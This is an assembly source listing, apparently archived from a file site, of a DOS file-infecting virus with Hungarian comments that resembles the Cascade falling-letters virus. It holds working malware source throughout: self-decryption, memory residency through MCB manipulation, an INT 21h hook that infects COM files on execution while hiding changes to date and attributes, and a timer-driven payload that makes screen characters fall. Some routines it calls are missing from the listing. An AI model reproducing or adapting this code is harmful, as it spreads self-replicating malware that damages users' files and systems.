home *** CD-ROM | disk | FTP | other *** search
- PAGE ,132
-
- VIRUS SEGMENT PARA PUBLIC 'CODE'
-
- ASSUME CS:VIRUS,DS:VIRUS
-
-
-
- R1 EQU IDE-131H
-
- R2 EQU BE1-1A3H
-
- HOSSZ EQU VEG-KEZDET
-
-
-
- ORG 100H
-
- KEZDET EQU $
-
- DB 1
-
- CLI
-
- MOV BP,SP
-
- CALL IDE
-
- IDE: POP BX ; A CIM VISSZAOLVASASA
-
- SUB BX,131H
-
- TEST CS:BYTE PTR [BX+KEZDET-R1],1
-
- JZ INDIT
-
- LEA SI,[BX+INDIT-R1]
-
- MOV SP,OFFSET VEG-INDIT
-
- FOLYT: XOR [SI],SI
-
- XOR [SI],SP
-
- INC SI
-
- DEC SP
-
- JNZ FOLYT
-
- INDIT: MOV SP,BP
-
- JMP BEEPUL
-
-
-
- REGCIM DW 100H
-
- VSZ DW 0
-
- MENTAX DW 0
-
- PRGKEZ DB 0,0,0
-
- DW 0
-
- REG1C DD 0
-
- REG21 DD 0
-
- REG28 DD 0
-
- DW 0
-
- FILATT DW 0
-
- FILDAT DW 0
-
- FILIDO DW 0
-
- FILNEV DD 0
-
- FILHOS DD 0
-
- UJKEZD DB 0E9H,0,0
-
- VIDOSZL DB 0
-
- VIDSOR DB 0
-
- VIDMOD DB 0
-
- OLVKAR DB 0
-
- OLVATT DB 0
-
- STATUS DB 0
-
- VIDKEZ DW 0
-
- VIDOFS DW 0
-
- IDOEGYS DW 0
-
- SZAML DW 0
-
- SZAMLEL DW 0
-
- MAXKAR DW 0
-
- POTYKAR DW 0
-
- ORA DB 16 DUP(0)
-
-
-
- BEEPUL: CALL BE1
-
- BE1: POP BX
-
- SUB BX,1A3H
-
- MOV CS:[BX+VSZ-R2],CS ; A KODSZEGMENS TAROLASA, AZ INDITAS SZEGMENSE
-
- MOV CS:[BX+MENTAX-R2],AX
-
- MOV AX,CS:[BX+PRGKEZ-R2]
-
- MOV DS:100H,AX ; AZ ELSO HAROM BYTE VISSZAALLITASA
-
- MOV AL,CS:[BX+PRGKEZ+2-R2]
-
- MOV DS:102H,AL
-
- PUSH BX
-
- MOV AH,30H ; A DOS VERZIOSZAM BEOLVASASA
-
- INT 21H
-
- POP BX
-
- CMP AL,2
-
- JB VISSZA ; HA KISEBB, MINT A 2.0 VERZIO
-
- MOV AX,4BFFH ; A VIRUS AKTIVALTSAG ELLENORZESE
-
- XOR DI,DI ; DI=0
-
- XOR SI,SI ; SI=0
-
- INT 21H ; A VIRUS MAR A MEMORIABAN?
-
- CMP DI,55AAH ; HA DI=55AA, AKKOR MAR AKTIV
-
- JNZ BE2 ; UGRAS, HA MAR MUKODIK
-
- JB BE3 ; MINDIG HAMIS
-
- VISSZA: STI ; ELINDITJA A GAZDAPROGRAMOT
-
- PUSH DS
-
- POP ES ; AZ ES VISSZAALLITASA
-
- MOV AX,CS:[BX+MENTAX-R2]
-
- JMP DWORD PTR CS:[BX+REGCIM-R2]
-
- BE2: PUSH BX
-
- MOV AX,3521H
-
- INT 21H ; A 21H MEGSZAKITASVEKTOR BEOLVASASA
-
- MOV AX,BX
-
- POP BX ; ES ELTAROLASA A TABLAZATBAN
-
- BE3: MOV CS:[BX+REG21-R2],AX
-
- MOV CS:[BX+REG21+2-R2],ES
-
- MOV AX,0F000H
-
- MOV ES,AX
-
- MOV DI,0E008H
-
- CMP WORD PTR [DI],4F43H ; 'COPR. IBM'+00H ELLENORZESE /LENNE/
-
- JNZ BE4
-
- CMP WORD PTR [DI+2],5250H
-
- JNZ BE4
-
- CMP WORD PTR [DI+4],202EH
-
- JNZ BE4
-
- CMP WORD PTR [DI+6],4249H
-
- JNZ BE4
-
- CMP WORD PTR [DI+8],4DH
-
- JZ VISSZA
-
- BE4: MOV AX,HOSSZ/10H+11H ; A VIRUS HOSSZA+100H PARAGRAFUSBAN
-
- MOV BP,CS ; ES RAALLITASA A PROGRAMOT MEGELOZO
-
- DEC BP ; MCB-RE
-
- MOV ES,BP
-
- MOV SI,CS:[16H]
-
- MOV ES:[1],SI
-
- MOV DX,ES:[3] ; A SZABAD PARAGRAFUSOK BEOLVASASA DX-BE
-
- MOV ES:[3],AX
-
- MOV ES:BYTE PTR [0],4DH ; NEM UTOLSO MCB
-
- SUB DX,AX ; AZ UJ SZABAD PARAGRAFUSOK SZAMA A VIRUS
-
- DEC DX ; HOSSZAVAL ES EGYEL /AZ UJ MCB/ KEVESEBB
-
- INC BP
-
- ADD BP,AX
-
- INC BP
-
- MOV ES,BP
-
- PUSH BX
-
- MOV AH,50H
-
- MOV BX,BP
-
- INT 21H
-
- POP BX
-
- XOR DI,DI ; DI=0
-
- PUSH ES
-
- POP SS ; SS=ES - AZ UJ VEREM AZ UJ HELYEN LESZ
-
- PUSH DI
-
- LEA DI,[BX+VEG-R2-1] ; A PROGRAM VEGEROL
-
- MOV SI,DI
-
- MOV CX,OFFSET HOSSZ ; A VIRUST /CX-BE A VIRUS HOSSZA KERUL/
-
- STD ; VISSZAFELE
-
- REPZ MOVSB ; FELMASOLJA
-
- PUSH ES
-
- LEA CX,[BX+BE9-R2] ; KOZVETLEN VEZERLESATADAS AZ UJ HELYEN
-
- PUSH CX ; LEVO VIRUSRA. A PROGRAM VALOJABAN A
-
- RETF ; RETF UTASITAS UTAN FOLYTATODIK
-
- BE9: MOV CS:[BX+VSZ-R2],CS ; AZ UJ SZEGMENSCIM AZ INDITASHOZ
-
- LEA CX,[BX+KEZDET-R2] ; A PROGRAM HOSSZA VIRUS NELKUL
-
- REPZ MOVSB ; A PROGRAM 'FELHUZASA' A VIRUS ALA
-
- MOV CS:36H,CS
-
- DEC BP ; AZ UJ MCB SZEGMENSCIME
-
- MOV ES,BP ; ATTOLTENI ES-BE
-
- MOV ES:[3],DX ; BEALLITANI A SZABAD PARAGRAFUSOK SZAMAT
-
- MOV ES:BYTE PTR [0],5AH ; ES EZ AZ UTOLSO MCB
-
- MOV ES:WORD PTR [1],CS ; A PROGRAM SZEGMENSCIME
-
- INC BP ; ES=ES+1, A SZEGMENSREGISZTER VISSZAALLITASA
-
- MOV ES,BP ; A PROGRAM ELEJERE
-
- PUSH DS
-
- POP ES ; ES=DS
-
- PUSH CS
-
- POP DS ; DS=CS
-
- LEA SI,[BX+KEZDET-R2] ; A PROGRAM HOSSZA VIRUS NELKUL
-
- MOV DI,100H
-
- MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA
-
- CLD ; A VIRUS LEMASOLASA A PROGRAM ELOTT
-
- REPZ MOVSB ; FELSZABADULT HELYRE
-
- PUSH ES ; ES KOZVETLEN VEZERLESATADAS A VEGLEGES
-
- LEA AX,DS:BE8 ; HELYEN TALALHATO VIRUS SZAMARA
-
- PUSH AX ; AZ UGRAS AZ UJ VIRUS RETF UTASITASA
-
- RETF ; UTAN TORTENIK
-
- BE8: MOV CS:WORD PTR [2CH],0
-
- MOV CS:16H,CS
-
- PUSH DS ; DS ERTEKET ELMENTENI
-
- LEA DX,DS:UJ21 ; AZ UJ INT 21H CIMENEK BEALLITASA
-
- PUSH CS ; DS=CS
-
- POP DS
-
- MOV AX,2521H
-
- INT 21H
-
- POP DS ; DS REGI ERTEKE
-
- MOV AH,1AH
-
- MOV DX,80H
-
- INT 21H ; A DTA CIM BEALLITASA
-
- CALL BEMAS ; A RENDSZERIDO BEMASOLASA A TABLAZATBA
-
- MOV AH,2AH
-
- INT 21H ; RENDSZERDATUM BEOLVASASA
-
- CMP CX,1988 ; A MAI DATUM NAGYOBB, MINT 1988?
-
- JA BE5 ; IGEN: CSAK FERTOZES
-
- JZ BE6 ; IDEN VAN 1988
-
- CMP CX,1980 ; 1980 VAN?
-
- JNZ BE5 ; IGEN: CSAK FERTOZES
-
- PUSH DS
-
- MOV AX,3528H
-
- INT 21H ; A 28H VEKTOR BEOLVASASA, ES ELTAROLASA
-
- MOV CS:WORD PTR REG28,BX
-
- MOV CS:WORD PTR REG28+2,ES
-
- MOV AX,2528H
-
- MOV DX,OFFSET UJ28 ; DX-BE AZ UJ INT 28H OFFSZETJE
-
- PUSH CS
-
- POP DS ; DS=CS
-
- INT 21H ; A MEGSZAKITASI VEKTOR BEALLITASA
-
- POP DS
-
- OR CS:STATUS,1000B ; A POTYOGAS LETILTASA
-
- JMP BE7
-
- BE6: CMP DH,0AH ; CSAK OKTOBERTOL DECEMBERIG POTYOG
-
- JB BE5 ; MEG NINCS
-
- BE7: CALL KESLH ; A KESLELTETESI ERTEK MEGHATAROZASA
-
- MOV AX,1518H
-
- CALL VELETL
-
- INC AX
-
- MOV CS:SZAML,AX ; A BELSO VALTOZOK BEALLITASA
-
- MOV CS:SZAMLEL,AX
-
- MOV CS:POTYKAR,1
-
- MOV AX,351CH
-
- INT 21H ; AZ 1CH VEKTOR BEOLVASASA ES ELTAROLASA
-
- MOV CS:WORD PTR REG1C,BX
-
- MOV CS:WORD PTR REG1C+2,ES
-
- PUSH DS
-
- MOV AX,251CH
-
- MOV DX,OFFSET UJ1C ; AZ UJ INT 1CH OFFSZETJE
-
- PUSH CS ; ES SZEGMENSE
-
- POP DS
-
- INT 21H ; AZ 1CH VEKTOR BEALLITASA
-
- POP DS
-
- BE5: MOV BX,0FFD6H
-
- JMP VISSZA
-
-
-
- UJ21: CMP AH,4BH ; A FUNKCIOKOD 4BH?
-
- JZ U21_1 ; IGEN
-
- U21_2: JMP DWORD PTR CS:REG21 ; FOLYTATAS A REGI INT 21H-N
-
- U21_3: MOV DI,55AAH ; A VIRUS AKTIVALTSAGA
-
- LES AX,CS:REG21
-
- MOV DX,CS
-
- IRET
-
- U21_1: CMP AL,0FFH ; A VIRUS AKTIVALTSAG KERDEZESE?
-
- JZ U21_3 ; IGEN
-
- CMP AL,0 ; BETOLTES & INDITAS?
-
- JNZ U21_2 ; NEM
-
- PUSHF ; A REGISZTEREK MENTESE
-
- PUSH AX
-
- PUSH BX
-
- PUSH CX
-
- PUSH DX
-
- PUSH SI
-
- PUSH DI
-
- PUSH BP
-
- PUSH ES
-
- PUSH DS
-
- MOV CS:WORD PTR FILNEV,DX
-
- MOV CS:WORD PTR FILNEV+2,DS
-
- PUSH CS
-
- POP ES
-
- MOV AX,3D00H
-
- INT 21H ; A FILE MEGNYITASA OLVASASRA
-
- JC FERT1
-
- MOV BX,AX ; A FILESZAM ATVITELE BX-BE
-
- MOV AX,5700H
-
- INT 21H ; A KELETKEZESI IDO BEOLVASASA
-
- MOV CS:FILDAT,DX ; ES ELTAROLASA
-
- MOV CS:FILIDO,CX
-
- MOV AH,3FH
-
- PUSH CS
-
- POP DS
-
- MOV DX,OFFSET PRGKEZ
-
- MOV CX,3
-
- INT 21H ; AZ ELSO HAROM BYTE BEOLVASASA
-
- JC FERT1
-
- CMP AX,CX ; SIKERULT MINDENT BEOLVASNI?
-
- JNZ FERT1 ; NEM, HIBA TORTENT
-
- MOV AX,4202H
-
- XOR CX,CX
-
- XOR DX,DX
-
- INT 21H ; FILE HOSSZANAK A MEGHATAROZASA
-
- MOV CS:WORD PTR FILHOS,AX
-
- MOV CS:WORD PTR FILHOS+2,DX
-
- MOV AH,3EH
-
- INT 21H ; A FILE LEZARASA
-
- CMP CS:WORD PTR PRGKEZ,5A4DH
-
- JNZ FERT2 ; COM FILE?
-
- JMP FERT3 ; EXE ESETEN VISSZATERES
-
- FERT2: CMP CS:WORD PTR FILHOS+2,0
-
- JA FERT1 ; NAGYOBB, MINT 64K?
-
- CMP CS:WORD PTR FILHOS,0F93BH
-
- JBE FERT7 ; A FILE MEG MEGFELELO MERETU
-
- FERT1: JMP FERT3
-
- FERT7: CMP CS:PRGKEZ,0E9H ; JMP UTASITAS?
-
- JNZ FERT8 ; NEM
-
- MOV AX,CS:WORD PTR FILHOS
-
- ADD AX,0F959H ; FILE HOSSZA - VIRUS HOSSZA : IDE UGRIK?
-
- CMP AX,CS:WORD PTR PRGKEZ+1
-
- JZ FERT1 ; EZ A FILE MAR FERTOZOTT
-
- FERT8: MOV AX,4300H
-
- LDS DX,CS:FILNEV
-
- INT 21H ; A FILE ATTRIBUTUMANAK BEOLVASASA
-
- JC FERT1
-
- MOV CS:FILATT,CX ; AZ ATTRIBUTUM TAROLASA
-
- XOR CL,20H ; AZ ARCHIV BIT INVERTALASA
-
- TEST CL,27H
-
- JZ FERT5
-
- MOV AX,4301H
-
- XOR CX,CX
-
- INT 21H ; AZ UJ ATTRIBUTUM FELIRASA
-
- JC FERT1
-
- FERT5: MOV AX,3D02H
-
- INT 21H ; FILE NYITASA IRASRA & OLVASASRA
-
- JC FERT1
-
- MOV BX,AX ; FILE SORSZAM BX-BE
-
- MOV AX,4202H
-
- XOR CX,CX
-
- XOR DX,DX
-
- INT 21H ; MUTATO A FILE VEGERE
-
- CALL UTANMAS ; A VIRUST UTANAMASOLNI
-
- JNC FERT9 ; SIKERULT?
-
- MOV AX,4200H
-
- MOV CX,CS:WORD PTR FILHOS+2
-
- MOV DX,CS:WORD PTR FILHOS
-
- INT 21H ; MUTATO A FILE EREDETI VEGERE
-
- MOV AH,40H
-
- XOR CX,CX
-
- INT 21H ; A FILEHOSSZ FELIRASA
-
- JMP FERT6
-
- FERT9: MOV AX,4200H
-
- XOR CX,CX
-
- XOR DX,DX
-
- INT 21H ; MUTATO A FILE ELEJERE
-
- JC FERT6
-
- MOV AX,CS:WORD PTR FILHOS
-
- ADD AX,0FFFEH ; AZ UGRASI CIM KISZAMITASA
-
- MOV CS:WORD PTR UJKEZD+1,AX
-
- MOV AH,040H
-
- MOV DX,OFFSET UJKEZD
-
- MOV CX,3
-
- INT 21H ; AZ ELSO HAROM BYTE KIIRASA
-
- FERT6: MOV AX,5701H
-
- MOV DX,CS:FILDAT ; A DATUM
-
- MOV CX,CS:FILIDO ; ES IDO BEOLVASASA
-
- INT 21H ; ES BEALLITASA
-
- MOV AH,3EH
-
- INT 21H ; A FILE LEZARASA
-
- MOV CX,CS:FILATT ; AZ ATTRIBUTUM BEOLVASASA
-
- TEST CL,111B ; R/O, REJTETT VAGY RENDSZER?
-
- JNZ FERTA
-
- TEST CL,100000B ; ARCHIV FILE?
-
- JNZ FERT3
-
- FERTA: MOV AX,4301H
-
- LDS DX,CS:FILNEV
-
- INT 21H ; A FILE ATTRIBUTUMANAK BEALLITASA
-
- FERT3: POP DS ; A REGISZTEREK VISSZAOLVASASA
-
- POP ES
-
- POP BP
-
- POP DI
-
- POP SI
-
- POP DX
-
- POP CX
-
- POP BX
-
- POP AX
-
- POPF
-
- JMP U21_2
-
-
-
- VELETL PROC NEAR ; EGY VELETLENSZAM ELOALLITASA
-
- PUSH DS
-
- PUSH CS
-
- POP DS
-
- PUSH BX
-
- PUSH CX
-
- PUSH DX
-
- PUSH AX
-
- MOV CX,7
-
- MOV BX,OFFSET ORA+0EH
-
- PUSH [BX]
-
- VEL1: MOV AX,[BX-2]
-
- ADC [BX],AX
-
- DEC BX
-
- DEC BX
-
- LOOP VEL1
-
- POP AX
-
- ADC [BX],AX
-
- MOV DX,[BX]
-
- POP AX
-
- OR AX,AX
-
- JZ VEL2
-
- MUL DX
-
- VEL2: MOV AX,DX
-
- POP DX ; REGISZTEREK VISSZAALLITASA
-
- POP CX
-
- POP BX
-
- POP DS
-
- RET
-
- VELETL ENDP
-
-
-
- BEMAS PROC NEAR ; A RENDSZERIDO BEMASOLASA A TABLAZATBA
-
- PUSH DS ; A REGISZTEREK ELMENTESE
-
- PUSH ES
-
- PUSH SI
-
- PUSH DI
-
- PUSH CX
-
- PUSH CS ; ES=CS
-
- POP ES
-
- MOV CX,40H ; FORRAS= 0000:046CH
-
- MOV DS,CX ; AZ ORA BEMASOLASA
-
- MOV DI,OFFSET ORA
-
- MOV SI,6CH
-
- MOV CX,8 ; 16 BYTE
-
- CLD ; NOVEKVO IRANYBA
-
- REPZ MOVSW
-
- POP CX ; A REGISZEREK ELOZO ERTEKEINEK
-
- POP DI ; VISSZAALLITASA
-
- POP SI
-
- POP ES
-
- POP DS
-
- RET ; VISSZATERES
-
- BEMAS ENDP
-
-
-
- VIDOLV PROC NEAR ; OLVASAS A VIDEORAM-BOL
-
- PUSH SI ; REGISZTEREK ELMENTESE
-
- PUSH DS
-
- PUSH DX
-
- MOV AL,DH
-
- MUL VIDOSZL ; A SOR SZAMA SZOROZVA A SORON BELULI OSZLOPOK
-
- MOV DH,0 ; SZAMAVAL, PLUSZ AZ OSZLOPOK SZAMA
-
- ADD AX,DX
-
- SHL AX,1 ; SZORZAS KETTOVEL (KAR.+ATTRIB.)
-
- ADD AX,VIDOFS ; ELTOLAS A SZEGMENSEN BELUL
-
- MOV SI,AX
-
- TEST VIDMOD,11111111B ; HAVAZIK A KEPERNYO?
-
- MOV DS,VIDKEZ
-
- JZ VO3 ; NEM HAVAZIK
-
- MOV DX,3DAH ; A CGA KARTYA STATUSZPORTJA
-
- CLI ; A MEGSZAKITASOKAT LETILTANI
-
- VO1: IN AL,DX ; A STATUSZ BEOLVASASA
-
- TEST AL,1000B ; FUGGOLEGES VISSZAFUTAS
-
- JNZ VO3
-
- TEST AL,1 ; VARJUK MEG, MIG NEM OLVASHATUNK A RAM-BOL
-
- JNZ VO1
-
- VO2: IN AL,DX
-
- TEST AL,1
-
- JZ VO2
-
- VO3: LODSW ; A KARAKTER ES ATTRIBUTUM BEOLVASASA
-
- STI ; A MEGZAKITAS ELLENORZESE
-
- POP DX ; REGISZTEREK VISSZAOLVASASA
-
- POP DS
-
- POP SI
-
- RET
-
- VIDOLV ENDP
-
-
-
- VIDIR PROC NEAR ; KIIRAS A VIDEORAM-BA
-
- PUSH DI ; REGISZTEREK ELMENTESE
-
- PUSH ES
-
- PUSH DX
-
- PUSH BX
-
- MOV BX,AX ; A KARAKTER ES AZ ATTRIBUTUM ELMENTESE
-
- MOV AL,DH ; A CIM KISZAMITASA
-
- MUL VIDOSZL
-
- MOV DH,0
-
- ADD AX,DX
-
- SHL AX,1 ; SZORZAS KETTOVEL
-
- ADD AX,VIDOFS
-
- MOV DI,AX
-
- TEST VIDMOD,11111111B ; HAVAZIK A KEPERNYO?
-
- MOV ES,VIDKEZ
-
- JZ VI3 ; NEM HAVAZIK
-
- MOV DX,03DAH ; A CGA KARTYA STATUSZPORTJA
-
- CLI ; MEGSZAKITASOKAT TILTANI
-
- VI1: IN AL,DX ; A STATUSZT BEOLVASNI
-
- TEST AL,1000B ; FUGGOLEGES VISSZAFUTAS?
-
- JNZ VI3 ; IGEN
-
- TEST AL,1 ; IRHATUNK A VIDEORAM-BA?
-
- JNZ VI1 ; HA IGEN, AKKOR VARJUNK MEG
-
- VI2: IN AL,DX ; A STATUSZ BEOLVASASA
-
- TEST AL,1 ; VARJUK MEG, AMIRE ISMET OLVASHATUNK
-
- JZ VI2
-
- VI3: MOV AX,BX ; A KARAKTER ES AZ ATTRIBUTUM BETOLTESE
-
- STOSB ; BEIRASA A VIDEORAM-BA
-
- STI ; A MEGSZAKITASOK MAR ENGEDELYEZHETOK
-
- POP BX ; A REGISZTEREK VISSZAALITASA
-
- POP DX
-
- POP ES
-
- POP DI
-
- RET ; VISSZATERES
-
- VIDIR ENDP
-
-
-
- VARAK PROC NEAR ; VARAKOZAS CX IDEIG
-
- PUSH CX
-
- V1: PUSH CX
-
- MOV CX,IDOEGYS
-
- V2: LOOP V2
-
- POP CX
-
- LOOP V1
-
- POP CX
-
- RET
-
- VARAK ENDP
-
-
-
- HANGSZ PROC NEAR ; A HANGSZORO ATKAPCSOLASA
-
- PUSH AX ; AX ELMENTESE
-
- IN AL,61H ; A PPI BEOLVASASA
-
- XOR AL,2 ; A HANGSZORO ATKAPCSOLASA
-
- AND AL,11111110B ; ENGEDELYEZESE
-
- OUT 61H,AL ; VISSZAIRASA
-
- POP AX ; AX VISSZAALLITASA
-
- RET ; VISSZATERES
-
- HANGSZ ENDP
-
-
-
- URES PROC NEAR
-
- CMP AL,0 ; NUL KODJA?
-
- JZ UR1 ; IGEN
-
- CMP AL,20H ; SZOKOZ?
-
- JZ UR1 ; IGEN
-
- CMP AL,0FFH ; 0FFH IS URES
-
- JZ UR1 ; AZ
-
- CLC ; NEM URES
-
- RET ; VISSZATERES
-
- UR1: STC ; URES
-
- RET ; VISSZATERES
-
- URES ENDP
-
-
-
- GRAFIK PROC NEAR
-
- CMP AL,0B0H ; 0B0H<=AL<=0DFH?
-
- JB GR1 ; NEM
-
- CMP AL,0DFH
-
- JA GR1 ; NEM
-
- STC ; IGEN
-
- RET ; VISSZATERES
-
- GR1: CLC ; NEM GRAFIKUS
-
- RET ; VISSZATERES
-
- GRAFIK ENDP
-
-
-
- KESLH PROC NEAR ; A KESLELTETESI ERTEK MEGHATAROZASA
-
- PUSH DS
-
- MOV AX,40H
-
- MOV DS,AX
-
- STI
-
- MOV AX,DS:6CH ; AZ ORA BEOLVASASA
-
- KES1: CMP AX,DS:6CH ; VARAKOZAS, MIG AZ ORA EPPEN NEM LEP
-
- JZ KES1
-
- XOR CX,CX ; CX NULLAZASA
-
- MOV AX,DS:6CH ; AZ ORA BEOLVASASA
-
- KES2: INC CX ; CX=CX+1
-
- JZ KES4 ; HA TULCSORDULT
-
- CMP AX,DS:6CH ; LEPETT MAR AZ ORA?
-
- JZ KES2 ; MEG NEM
-
- KES3: POP DS
-
- MOV AX,CX
-
- XOR DX,DX
-
- MOV CX,0FH
-
- DIV CX
-
- MOV CS:IDOEGYS,AX ; AZ IDOEGYSEG ELTAROLASA
-
- RET
-
- KES4: DEC CX
-
- JMP KES3
-
- KESLH ENDP
-
-
-
- POTY PROC NEAR ; POTYOGTATAS
-
- MOV VIDSOR,24
-
- PUSH DS
-
- MOV AX,40H ; A BIOS PARAMETERBLOKK
-
- MOV DS,AX
-
- MOV AX,DS:4EH ; A VIDEOPUFFER OFSZET ERTEKE
-
- POP DS
-
- MOV VIDOFS,AX
-
- MOV DL,0FFH
-
- MOV AX,1130H
-
- MOV BH,0
-
- PUSH ES ; ES & BP ELMENTESE
-
- PUSH BP
-
- INT 10H ; A SOROK SZAMANAK BEOLVASASA
-
- POP BP ; ES & BP VISSZAALLITASA
-
- POP ES
-
- CMP DL,0FFH
-
- JZ PO1
-
- PO4: MOV VIDSOR,DL ; A SOROK SZAMANAK ELTAROLASA
-
- PO1: MOV AH,0FH
-
- INT 10H ; OSZLOPOK SZAMANAK A BEOLVASASA
-
- MOV VIDOSZL,AH ; ES ELTAROLASA
-
- MOV VIDMOD,0 ; A MOD ES A VIDEOMEMORIA SZEGMENSCIMENEK
-
- MOV VIDKEZ,0B000H ; BEALLITASA
-
- CMP AL,7 ; AZ AKTUALIS MOD EGA-TEXT?
-
- JZ PO3 ; IGEN
-
- JB PO2
-
- JMP PO7
-
- PO2: MOV VIDKEZ,0B800H ; A VIDEOMEMORIA KEZDOCIME
-
- CMP AL,3
-
- JA PO3
-
- CMP AL,2
-
- JB PO3
-
- MOV VIDMOD,1 ; HAVAZIK A KEPERNYO
-
- MOV AL,VIDSOR ; A SOROK SZAMA
-
- INC AL ; MEG EGY
-
- MUL VIDOSZL ; SZOROZVA AZ OSZLOPOK SZAMAVAL
-
- MOV MAXKAR,AX ; ENNYI KARAKTERHELY VAN A KEPERNYON
-
- MOV AX,POTYKAR ; A POTYOGTATANDO KARAKTEREK SZAMA
-
- CMP AX,MAXKAR ; NAGYOBB, MINT A MAXIMALIS KARAKTERSZAM?
-
- JBE PO5 ; NEM, TOVABB
-
- MOV AX,MAXKAR ; A MAXIMALIS KARAKTERSZAM
-
- PO5: CALL VELETL ; VELETLENSZAM ELOALLITASA 1 ES A POTYOGTATANDO
-
- INC AX ; /VAGY MAXIMALIS/ ERTEK KOZOTT
-
- MOV SI,AX ; A MAXIMALISAN POTYOGTATHATO KARAKTEREK SZAMA
-
- PO3: XOR DI,DI ; DI=0
-
- PO8: INC DI ; DI=DI+1 : A SIKERTELEN KISERLETEKET SZAMLALJA
-
- MOV AX,MAXKAR ; A MAXIMALIS KARAKTERSZAM
-
- SHL AX,1 ; SZOROZVA KETTOVEL, ENNYI SIKERTELEN KISERLET
-
- CMP DI,AX ; ENGEDELYEZETT EGYMAS UTAN
-
- JBE PO6 ; MEG NEM TELT LE
-
- JMP PO7 ; TULLEPTE, KILEPETT
-
- PO6: OR STATUS,10B ; A KARAKTER NEM POTYOGOTT
-
- MOV AL,VIDOSZL ; A MAXIMALIS ERTEK AZ OSZLOPOK SZAMA
-
- MOV AH,0
-
- CALL VELETL ; VELETLENSZAM ELOALLITASA
-
- MOV DL,AL ; EZ LESZ AZ OSZLOPSZAM
-
- MOV AL,VIDSOR ; MAXIMALIS ERTEK A SOROK SZAMA
-
- MOV AH,0
-
- CALL VELETL ; VELETLENSZAM ELOALLITASA
-
- MOV DH,AL ; EZ LESZ A SORSZAM
-
- CALL VIDOLV ; A MEGFELELO KARAKTER BEOLVASASA
-
- CALL URES ; URES-E?
-
- JC PO8 ; IGEN
-
- CALL GRAFIK ; GRAFIKUS-E?
-
- JC PO8 ; IGEN
-
- MOV OLVKAR,AL ; A BEOLVASOTT KARAKTER ES ATTRIBUTUMANAK
-
- MOV OLVATT,AH ; ELTAROLASA
-
- MOV CL,VIDSOR ; CX=SOROK SZAMA
-
- MOV CH,0
-
- POC: INC DH ; A KOVETKEZO SOR
-
- CMP DH,VIDSOR ; ELERTE A MAXIMALISAT?
-
- JA PO9 ; TULLEPTE, ABBAHAGYNI
-
- CALL VIDOLV ; A KARAKTER BEOLVASASA
-
- CMP AH,OLVATT ; AZ ATTRIBUTUM STIMMEL?
-
- JNZ PO9 ; NEM EGYEZIK
-
- CALL URES ; URES KARAKTER-E?
-
- JC POA ; IGEN
-
- POE: CALL GRAFIK ; GRAFIKUS-E?
-
- JC PO9 ; IGEN
-
- INC DH ; A KOVETKEZO SOR
-
- CMP DH,VIDSOR ; TULLEPTE AZ UTOLSO SORT?
-
- JA PO9 ; IGEN
-
- CALL VIDOLV ; BEOLVASAS A VIDEORAM-BOL
-
- CMP AH,OLVATT ; AZ ATTRIBUTUMOK OSSZEHASONLITASA
-
- JNZ PO9 ; NEM EGYEZNEK
-
- CALL URES ; URES KARAKTER-E?
-
- JNC POE ; NEM
-
- CALL HANGSZ ; HANG ELOALLITASA
-
- DEC DH ; A FELETTE LEVO SOR
-
- CALL VIDOLV ; BEOLVASASA
-
- MOV OLVKAR,AL ; ES AZ OTT LEVO KARAKTER ELTAROLASA
-
- INC DH ; AZ ALATTA LEVO SOR
-
- POA: AND STATUS,11111101B ; SIKERULT POTYOGTATNI
-
- DEC DH ; A FELETTE LEVO SOR
-
- MOV AL,20H ; A SZOKOZ KODJA
-
- CALL VIDIR ; KIIRASA
-
- INC DH ; AZ ALATTA LEVO SOR
-
- MOV AL,OLVKAR ; A KARAKTER
-
- CALL VIDIR ; KIIRASA
-
- JCXZ POB ; HA ELERTUK A LEGALSO SORT, AKKOR KILEPES
-
- CALL VARAK ; VARAKOZAS
-
- DEC CX ; ES A VISSZALEVO SOROK SZAMANAK CSOKKENTESE
-
- POB: JMP POC
-
- PO9: TEST STATUS,10B ; POTYOGOTT MAR KARAKTER?
-
- JZ POD ; IGEN
-
- JMP PO8 ; UJ KISERLET
-
- POD: CALL HANGSZ ; HANG ELOALLITASA
-
- DEC SI ; EGGYEL KEVESEBB KARAKTER VAN HATRA
-
- JZ PO7 ; HA NULLA, AKKOR KILEPNI
-
- JMP PO3 ; UJRA KISERELNI
-
- PO7: IN AL,61H ; A HANGSZORO BEOLVASASA
-
- AND AL,11111100B ; KIKAPCSOLASA
-
- OUT 61H,AL ; MAJD VISSZAIRASA
-
- RET ; VISSZATERES
-
- POTY ENDP
-
-
-
- UJ1C: TEST CS:STATUS,1001B ; A POTYOGAS TILTVA, VAGY EPPEN POTYOG?
-
- JNZ U1C_1 ; IGEN
-
- OR CS:STATUS,1 ; EPPEN POTYOG JELZOT BEALLITANI
-
- DEC CS:SZAML ; A SZAMLALOT CSOKKENTENI
-
- JNZ U1C_2 ; HA MEG NEM NULLA, AKKOR VEGE
-
- PUSH DS ; REGISZTEREK ELMENTESE
-
- PUSH ES
-
- PUSH CS
-
- POP DS ; DS=CS
-
- PUSH CS
-
- POP ES ; ES=CS
-
- PUSH AX
-
- PUSH BX
-
- PUSH CX
-
- PUSH DX
-
- PUSH SI
-
- PUSH DI
-
- PUSH BP
-
- MOV AL,20H
-
- OUT 20H,AL
-
- MOV AX,SZAMLEL ; A SZAMLALO ELOZO ERTEKE
-
- CMP AX,0438H ; AZ ELOZO ERTEK KISEBB VOLT?
-
- JNB U1C_3 ; NEM
-
- MOV AX,0438H ; KB. 60 MASODPERC
-
- U1C_3: CALL VELETL ; VELETLENSZAM ELOAALITASA
-
- INC AX ; AZ IDO NEM LEHET NULLA
-
- MOV SZAML,AX ; ES ELTAROLAS A SZAMLALOBA
-
- MOV SZAMLEL,AX ; ES MINT A SZAMLALO UTOLSO ERTEKE IS
-
- CALL POTY ; POTYOGTATAS
-
- MOV AX,3 ; VELETLENSZAM ELOALLIASA
-
- CALL VELETL ; 1 ES 3 KOZOTT
-
- INC AX
-
- MUL POTYKAR ; EZT SZOROZNI A MAXIMALISAN POTYOGTATHATO
-
- JNB U1C_4 ; KARAKTEREK SZAMAVAL
-
- MOV AX,0FFFFH ; MAXIMUM 65535 DB LEHET
-
- U1C_4: MOV POTYKAR,AX ; ELTAROLASA
-
- POP BP ; REGISZTEREK VISSZOLVASASA
-
- POP DI
-
- POP SI
-
- POP DX
-
- POP CX
-
- POP BX
-
- POP AX
-
- POP ES
-
- POP DS
-
- U1C_2: AND CS:STATUS,11111110B ; EPPEN NEM POTYOG BEALLITASA
-
- U1C_1: JMP DWORD PTR CS:REG1C ; FOLYTATASA A REGI INT 1CH-N
-
-
-
